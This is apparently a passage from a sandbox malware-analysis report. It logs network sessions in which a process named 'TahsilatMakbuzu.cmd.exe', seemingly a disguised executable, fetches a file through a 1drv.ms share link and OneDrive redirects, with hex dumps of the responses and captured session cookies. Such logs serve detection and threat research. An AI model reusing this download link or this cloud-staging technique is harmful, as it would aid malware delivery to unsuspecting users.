2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49751	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:32 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:32 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF50C79E09C Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: 20ihlq/eS0CAP3QHbHyBmg.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 9246C9CD4AFC47B8BDFE74B969DD1DF3 Ref B: EWR30EDGE0216 Ref C: 2024-07-04T18:16:32Z Date: Thu, 04 Jul 2024 18:16:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49752	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:32 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:33 UTC	2219	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:Lx8Kb1Wc3Ig=:rDRpPwadbJd1Vaz1K7cbLgcyL50aYLnhjX66tE3OUtw=:F; domain=.live.com; path=/ Set-Cookie: xid=1f589e86-5ce7-42b3-a1c9-0b51b94a5752&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:32 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzkyLCJuYmYiOjE3MjAxMTY5OTIsImdpdmVuX25hbWUiOiIxNCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiYmM1N2FiMDcwOTllOWQ0YzFjMjQ5NDcwNmNhZDE4ZCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTkyfQ.IndgdPbPs2JEeYo9wHcgNxYRs66m-JtICVMBJ4dr4mYvyWpIA9ZT5igZbDEHGW_vOct1K_2wz_DmaILmUqanERETQh-oKei81FzPudT2DExTjxHXH7CEcsEheZ861O1HLfdyqUvZS1tk8U3p_aNW9TGFMCa1hGNQqNJEAYK7tYbCRyicBjfCE0qS3Tw3nP7L32yCVzKwin5N58T3OVN8MsXlQY6pJrTSbKQX611XGAfo4tyEhxd0V0w3IMIAsvnACnYH9-QpK290GCMm_rUxcux9zxf0BPKwBSXiycWcptEmGw3-aUJ-fW4K5bFbbC0-SWOKsIykrVZ4R8NZsZEQOg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:33 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-6mzbf X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4D6584103F384ADF821F4A2FC77CF86A Ref B: BN3EDGE0914 Ref C: 2024-07-04T18:16:32Z Date: Thu, 04 Jul 2024 18:16:33 GMT Connection: close
2024-07-04 18:16:33 UTC	303	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am
2024-07-04 18:16:33 UTC	8	IN	Data Raw: 2f 68 74 6d 6c 3e 0d 0a Data Ascii: /html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49753	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:34 UTC	1287	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzkyLCJuYmYiOjE3MjAxMTY5OTIsImdpdmVuX25hbWUiOiIxNCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiYmM1N2FiMDcwOTllOWQ0YzFjMjQ5NDcwNmNhZDE4ZCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTkyfQ.IndgdPbPs2JEeYo9wHcgNxYRs66m-JtICVMBJ4dr4mYvyWpIA9ZT5igZbDEHGW_vOct1K_2wz_DmaILmUqanERETQh-oKei81FzPudT2DExTjxHXH7CEcsEheZ861O1HLfdyqUvZS1tk8U3p_aNW9TGFMCa1hGNQqNJEAYK7tYbCRyicBjfCE0qS3Tw3nP7L32yCVzKwin5N58T3OVN8MsXlQY6pJrTSbKQX611XGAfo4tyEhxd0V0w3IMIAsvnACnYH9-QpK290GCMm_rUxcux9zxf0BPKwBSXiycWcptEmGw3-aUJ-fW4K5bFbbC0-SWOKsIykrVZ4R8NZsZEQOg; E=P:Lx8Kb1Wc3Ig=:rDRpPwadbJd1Vaz1K7cbLgcyL50aYLnhjX66tE3OUtw=:F; xid=1f589e86-5ce7-42b3-a1c9-0b51b94a57 [TRUNCATED]
2024-07-04 18:16:34 UTC	1925	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205940 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,43670,0,124734,25 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 331239a1-c089-5000-d1c6-16ad82426adb request-id: 331239a1-c089-5000-d1c6-16ad82426adb MS-CV: oTkSM4nAAFDRxhatgkJq2w.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AABD311E48C846FDA647AF222611C259 Ref B: BN3EDGE0612 Ref C: 2024-07-04T18:16:34Z Date: Thu, 04 Jul 2024 18:16:33 GMT Connection: close
2024-07-04 18:16:34 UTC	2241	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 37 32 36 31 2c 31 36 36 Data Ascii: 54,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,213507261,166
2024-07-04 18:16:34 UTC	4144	IN	Data Raw: 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 43 45 45 35 2d 31 33 34 33 2d 34 36 39 42 2d 42 32 44 36 2d 37 Data Ascii: 52":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2CEE5-1343-469B-B2D6-7
2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 Data Ascii: ,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267
2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 Data Ascii: ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tru
2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 Data Ascii: 4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF44
